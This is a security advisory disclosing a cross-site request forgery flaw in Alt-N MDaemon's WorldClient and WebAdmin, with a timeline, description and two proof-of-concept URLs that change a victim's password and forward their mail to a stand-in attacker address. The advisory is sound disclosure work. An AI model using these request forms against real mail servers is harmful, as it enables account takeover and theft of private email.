Alt-N MDaemon WorldClient / WebAdmin Cross Site Request Forgery

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Alt-N MDaemon's WorldClient & WebAdmin Cross-Site Request Forgery  
Vulnerability  
=====================================================================================  
  
Software: Alt-N MDaemon v13.0.3 and prior versions  
Vendor: http://www.altn.com/  
Vuln Type: Cross-Site Request Forgery  
Remote: Yes  
Local: No  
Discovered by: QSecure and Demetris Papapetrou  
References: http://www.qsecure.com.cy/advisories/Alt-N_MDaemon_WorldClient_and_WebAdmin_CSRF.html  
Discovered: 25/07/2012  
Reported: 19/12/2012  
Fixed: 15/01/2013 (http://files.altn.com/MDaemon/Release/RelNotes_en.html)  
Disclosed: 18/02/2013  
  
VULNERABILITY DESCRIPTION:  
==========================  
Alt-N WorldClient and WebAdmin applications are prone to a cross-site  
request-forgery vulnerability. It should be noted that partial  
protection is provided by the Session parameter, but this alone cannot  
be considered as an adequate protection mechanism.  
  
An attacker can exploit this issue to perform different actions on the  
affected application without the user's consent. For example, the  
attacker can change the user's password, forward a copy of the user's  
emails to a different email account, retrieve his/her address book,  
send email messages to other users/email addresses and/or perform  
other similar tasks.  
  
Alt-N MDaemon v13.0.3 & v12.5.6 were tested and found vulnerable;  
other versions may also be affected.  
  
PoC Exploit:  
============  
Change Password:  
http://www.example.com:3000/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&Password=Letme1n&ConfirmPassword=Letme1n  
  
Enable Forwarding:  
http://www.example.com:3000/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&ForwardingEnabled=Yes&ForwardingRetainCopy=Yes&ForwardingAddress=evil%40example.com  
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